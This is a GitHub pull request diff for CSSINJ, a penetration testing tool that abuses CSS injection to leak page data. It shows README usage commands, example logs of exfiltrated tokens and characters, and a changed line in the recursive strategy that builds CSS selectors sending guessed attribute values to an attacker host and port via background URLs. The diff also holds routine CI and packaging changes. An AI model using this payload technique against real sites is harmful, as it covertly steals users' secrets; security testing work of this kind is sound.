Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
17 changes: 14 additions & 3 deletions .github/workflows/publish-to-pypi.yml
Original file line number Diff line number Diff line change
Expand Up @@ -6,22 +6,32 @@ on:
pull_request:
branches: [main]

# Least privilege by default; jobs opt into more where needed.
permissions:
contents: write
id-token: write
contents: read

# Cancel superseded runs on the same PR; never cancel main / release runs.
concurrency:
group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }}
cancel-in-progress: true

jobs:
# ── Run tests and linters on every push / PR ─────────────────────────────
ci:
name: Tests & Lint
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
python-version: ["3.11", "3.12", "3.13"]

steps:
- uses: actions/checkout@v4

- uses: astral-sh/setup-uv@v5
with:
enable-cache: true
python-version: ${{ matrix.python-version }}

- name: Install dependencies
run: uv sync
Expand All @@ -41,6 +51,8 @@ jobs:
needs: ci
if: github.event_name == 'push' && github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
permissions:
contents: write
concurrency:
group: release
cancel-in-progress: false
Expand Down Expand Up @@ -77,7 +89,6 @@ jobs:
- uses: actions/checkout@v4
with:
ref: ${{ needs.release.outputs.tag }}
fetch-depth: 0

- uses: astral-sh/setup-uv@v5
with:
Expand Down
110 changes: 63 additions & 47 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,3 @@
---

# CSSINJ

```
Expand All @@ -15,7 +13,6 @@

**CSSINJ** is a penetration testing tool that exploits [**CSS injection vulnerabilities**](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/05-Testing_for_CSS_Injection) to exfiltrate sensitive information from web applications. This tool is designed for security professionals to assess the security posture of web applications by demonstrating how CSS can be used to extract data covertly.


## Installation

To install **CSSINJ**, run the following command:
Expand All @@ -32,26 +29,35 @@ Now you’re ready to use **CSSINJ**!
## Usage

```bash
python3 -m cssinj [-h] -H HOSTNAME -p PORT [-e ELEMENT] [-a ATTRIBUT] [-d] [-m {recusive,font-face}] [-o OUTPUT]
python3 -m cssinj [-h] [--version] [-H HOSTNAME] [-p PORT] [-e ELEMENT]
[-a ATTRIBUTE] [-d] [-v | -q] [--no-banner]
[--log-file LOG_FILE] [-m {recursive,font-face}]
[-o [OUTPUT]] [-t TIMEOUT]
```

### Options

| Option | Description |
|------------------------|---------------------------------------------|
| `-h, --help` | Show help message and exit |
| `-H, --hostname` | Attacker hostname or IP address |
| `-p, --port` | Port number of the attacker |
| `-e, --element` | HTML element to extract specific data |
| `-a, --attribut` | Specify an element Attribute Selector for exfiltration |
| `-d, --details` | Show detailed logs of the exfiltration process, including extracted data |
| `-m, --method` | Specify the type of exfiltration (recursive or font-face) |
| `-t, --timeout` | Timeout in seconds before considering exfiltration complete (default: 3.0) |
| `-o, --output` | File to store the exfiltrated data in JSON format |
| Option | Description |
| ----------------------- | ------------------------------------------------------------------------------------------- |
| `-h, --help` | Show help message and exit |
| `--version` | Show program version and exit |
| `-H, --hostname` | Attacker hostname or IP address (default: `127.0.0.1`) |
| `-p, --port` | Port number of the attacker (default: `5005`) |
| `-e, --element` | HTML element to extract data from (default: `input`) |
| `-a, --attribute` | Element attribute selector to exfiltrate (default: `value`). Deprecated alias: `--attribut` |
| `-m, --method` | Exfiltration strategy: `recursive` or `font-face` (default: `recursive`) |
| `-d, --details` | Show detailed (debug) logs, including extracted data |
| `-v, --verbose` | Enable debug-level logging |
| `-q, --quiet` | Only log warnings and errors |
| `--no-banner` | Do not print the ASCII banner on startup |
| `--log-file LOG_FILE` | Also write structured logs to this file |
| `-t, --timeout` | Seconds before considering exfiltration complete, for `font-face` (default: `3.0`) |
| `-o, --output [OUTPUT]` | Store the exfiltrated data as JSON (default file: `output.json`) |

### Example

#### Victim's View :

```html
<h1>Welcome on my page !</h1>
<input type="text" id="username" value="admin" disabled>
Expand All @@ -66,93 +72,103 @@ python3 -m cssinj [-h] -H HOSTNAME -p PORT [-e ELEMENT] [-a ATTRIBUT] [-d] [-m {
```

#### Recursive attack

###### Using a specific HTML identifier :

```bash
~ python3 -m cssinj inject -H 127.0.0.1 -p 5005 -e input
~ python3 -m cssinj -H 127.0.0.1 -p 5005 -e input
_____ _____ _____ _____ _ _ _ _____ __ __
/ ____| / ____| / ____||_ _|| \ | | | | | __ \ \ \ / /
| | | (___ | (___ | | | \| | | | | |__) | \ \_/ /
| | \___ \ \___ \ | | | . ` | _ | | | ___/ \ /
| |____ ____) | ____) | _| |_ | |\ || |__| | _ | | | |
\_____||_____/ |_____/ |_____||_| \_| \____/ (_)|_| |_|

[2025-03-11 03:06:49] 🛠️ Attacker's server started on 127.0.0.1:5005
[2025-03-11 03:06:49] 🌐 Connection from ::1
[2025-03-11 03:06:49] ⚙️ ID : 1
[2025-03-11 03:06:49] ✅ [1] - The value exfiltrated from input is : MySecretAdminToken
[2025-03-11 03:06:49] ✅ [1] - The value exfiltrated from input is : [email protected]
[2025-03-11 03:06:49] ✅ [1] - The value exfiltrated from input is : admin
[2025-03-11T03:06:49] INFO 🛠️ Attacker's server started on 127.0.0.1:5005
[2025-03-11T03:06:49] INFO 🌐 Connection from ::1
[2025-03-11T03:06:49] INFO ✅ [1] - The value exfiltrated from input is : MySecretAdminToken
[2025-03-11T03:06:49] INFO ✅ [1] - The value exfiltrated from input is : [email protected]
[2025-03-11T03:06:49] INFO ✅ [1] - The value exfiltrated from input is : admin
```

###### Using a specific CSS attribute selector and a generic HTML identifier:

```bash
~ python3 -m cssinj -H 127.0.0.1 -p 5005 -e * -a src
~ python3 -m cssinj -H 127.0.0.1 -p 5005 -e '*' -a src
_____ _____ _____ _____ _ _ _ _____ __ __
/ ____| / ____| / ____||_ _|| \ | | | | | __ \ \ \ / /
| | | (___ | (___ | | | \| | | | | |__) | \ \_/ /
| | \___ \ \___ \ | | | . ` | _ | | | ___/ \ /
| |____ ____) | ____) | _| |_ | |\ || |__| | _ | | | |
\_____||_____/ |_____/ |_____||_| \_| \____/ (_)|_| |_|

[2025-03-11 03:06:49] 🛠️ Attacker's server started on 127.0.0.1:5005
[2025-03-11 03:06:49] 🌐 Connection from ::1
[2025-03-11 03:06:49] ⚙️ ID : 1
[2025-03-11 03:06:49] ✅ [1] - The src exfiltrated from * is : XXXXXXXXXXX.XX
[2025-03-11T03:06:49] INFO 🛠️ Attacker's server started on 127.0.0.1:5005
[2025-03-11T03:06:49] INFO 🌐 Connection from ::1
[2025-03-11T03:06:49] INFO ✅ [1] - The src exfiltrated from * is : XXXXXXXXXXX.XX
```

#### Font-face attack

> **Note:** The `font-face` method reveals *which* characters are present in the
> target element, **not their order** — which is why the output below is not in
> reading order.

```bash
~ python3 -m cssinj -H 127.0.0.1 -p 5005 -e h1 --method font-face
~ python3 -m cssinj -H 127.0.0.1 -p 5005 -e h1 --method font-face -d
_____ _____ _____ _____ _ _ _ _____ __ __
/ ____| / ____| / ____||_ _|| \ | | | | | __ \ \ \ / /
| | | (___ | (___ | | | \| | | | | |__) | \ \_/ /
| | \___ \ \___ \ | | | . ` | _ | | | ___/ \ /
| |____ ____) | ____) | _| |_ | |\ || |__| | _ | | | |
\_____||_____/ |_____/ |_____||_| \_| \____/ (_)|_| |_|

[2025-05-21 03:06:49] 🛠️ Attacker's server started on 127.0.0.1:5005
[2025-05-21 03:06:49] 🌐 Connection from 127.0.0.1
[2025-05-21 03:06:49] ⚙️ ID : 1
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 :
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : e
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : W
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : l
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : c
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : o
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : m
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : n
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : y
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : p
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : a
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : g
[2025-05-21 03:06:49] 🔎 [1] - Exfiltrating element 0 : !
[2025-05-21T03:06:49] INFO 🛠️ Attacker's server started on 127.0.0.1:5005
[2025-05-21T03:06:49] INFO 🌐 Connection from 127.0.0.1
[2025-05-21T03:06:49] DEBUG ⚙️ ID : 1
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: W
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: e
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: l
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: c
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: o
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: m
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: n
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: y
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: p
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: a
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: g
[2025-05-21T03:06:49] DEBUG 🔎 [1] - Exfiltrating element: !
[2025-05-21T03:06:52] INFO ✅ [1] - Characters found in h1: Welcomnyp ag!
```

## Browser-Specific Behavior

The success of CSS injection attacks using @import depends on the browser's handling of CSS imports:

- Chromium-based browsers (Chrome, Edge, Brave, etc.) allow recursive CSS imports and will process the injected styles, making them vulnerable to exfiltration techniques using @import.

- Firefox, however, handles @import differently:

- Unlike Chromium-based browsers, Firefox processes all @import rules before applying any styles.
- As a result, the attack fails because the browser never processes the CSS selectors, preventing data exfiltration.
- This behavior causes an infinite loop where the browser keeps waiting for a CSS update that never happens.

This difference in behavior makes Chromium-based browsers more susceptible to CSS injection exfiltration, while Firefox provides better protection against such attacks.

## Todo

- General :
- [ ] Add error Handler

- [x] Add error Handler
- [ ] File error Handler
- [ ] Add test
- [ ] Edit Terminal
- [x] Add test
- [x] Edit Terminal

- Injection :

- [x] Add timeout for font-face exfiltration

- Complete Exfiltration (Blind):

- [x] 0. Complete dom objects
- [ ] 1. Get Structure of the HTML (Tags)
- [ ] 2. Get all Attributs for each Element
Expand Down
6 changes: 6 additions & 0 deletions cssinj/__main__.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@
import sys
from pathlib import Path

from cssinj import __version__
from cssinj.console import setup_logging
from cssinj.exfiltrator.cssinjector import CSSInjector
from cssinj.strategies import list_strategies
Expand All @@ -26,6 +27,11 @@ def parse_args() -> argparse.Namespace:
epilog='A tool by \33[0;36mDonAsako\033[0m',
formatter_class=argparse.ArgumentDefaultsHelpFormatter,
)
parser.add_argument(
'--version',
action='version',
version=f'cssinj {__version__}',
)
parser.add_argument(
'-H',
'--hostname',
Expand Down
1 change: 0 additions & 1 deletion cssinj/client.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,6 @@ class Client:
accept: str | None
event: asyncio.Event
id: int = dataclasses.field(default=0)
status: bool = dataclasses.field(default=True)
counter: int = dataclasses.field(default=0)
elements: list[Element] = dataclasses.field(default_factory=list)
data: str = dataclasses.field(default='')
Expand Down
6 changes: 6 additions & 0 deletions cssinj/strategies/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,12 @@
STRATEGIES: dict[str, type[BaseExfiltrationStrategy]] = {
'recursive': RecursiveStrategy,
'font-face': FontFaceStrategy,
}

# Work-in-progress strategies, intentionally kept out of the CLI until they
# actually exfiltrate data. See the "Complete Exfiltration (Blind)" roadmap
# in the README.
_EXPERIMENTAL: dict[str, type[BaseExfiltrationStrategy]] = {
'complete': CompleteStrategy,
}

Expand Down
5 changes: 3 additions & 2 deletions cssinj/strategies/complete.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,8 +7,9 @@

class CompleteStrategy(BaseExfiltrationStrategy):
"""
Complete exfiltration strategy.
Exfiltrates the complete DOM structure of the HTML.
Complete exfiltration strategy (WORK IN PROGRESS).

Intended to blindly exfiltrate the full DOM structure of the HTML.
"""

name = 'complete'
Expand Down
2 changes: 1 addition & 1 deletion cssinj/strategies/recursive.py
Original file line number Diff line number Diff line change
Expand Up @@ -42,7 +42,7 @@ def generate_next_payload(self, client: Client) -> str:
)
first_child = ':first-child' * client.counter
stri += ''.join(
f'html:has({self.element}[{self.attribute}^={client.data + x!r}]{not_attributes}{first_child}'
f'html:has({self.element}[{self.attribute}^={client.data + x!r}]{not_attributes}){first_child}'
f'{{background:url("//{self.hostname}:{self.port}/v?t={urllib.parse.quote_plus(client.data + x)}&cid={client.id}");}}'
for x in default.PRINTABLE
)
Expand Down
1 change: 0 additions & 1 deletion cssinj/utils/default.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,3 @@
HTTP_HEADERS: list[str] = []
ELEMENTS = [
'a',
'abbr',
Expand Down
9 changes: 6 additions & 3 deletions pyproject.toml
Original file line number Diff line number Diff line change
Expand Up @@ -14,11 +14,14 @@ description = "A python tool to exploit CSS injection vulnerabilities to exfiltr
readme = { file = "README.md", content-type = "text/markdown" }
license = { file = "LICENSE" }
authors = [{ name = "DonAsako" }]
requires-python = ">=3.13"
requires-python = ">=3.11"
keywords = ["CSS", "BugBounty", "Web", "cssinj"]
classifiers = [
"Programming Language :: Python :: 3",
"Programming Language :: Python :: 3 :: Only",
"Programming Language :: Python :: 3.11",
"Programming Language :: Python :: 3.12",
"Programming Language :: Python :: 3.13",
"Operating System :: OS Independent",
"License :: OSI Approved :: GNU General Public License v3 (GPLv3)",
]
Expand Down Expand Up @@ -101,7 +104,7 @@ patch_tags = ["fix", "perf"]

[tool.ruff]
line-length = 120
target-version = "py310"
target-version = "py311"
exclude = [".venv", "uv.lock", "__pycache__", "pyproject.toml"]

[tool.ruff.format]
Expand Down Expand Up @@ -263,7 +266,7 @@ allow-magic-value-types = ["int", "str", "bytes"]
# ============================================================================

[tool.mypy]
python_version = "3.13"
python_version = "3.11"
files = ["cssinj", "tests"]
namespace_packages = true
pretty = true
Expand Down
Loading
Loading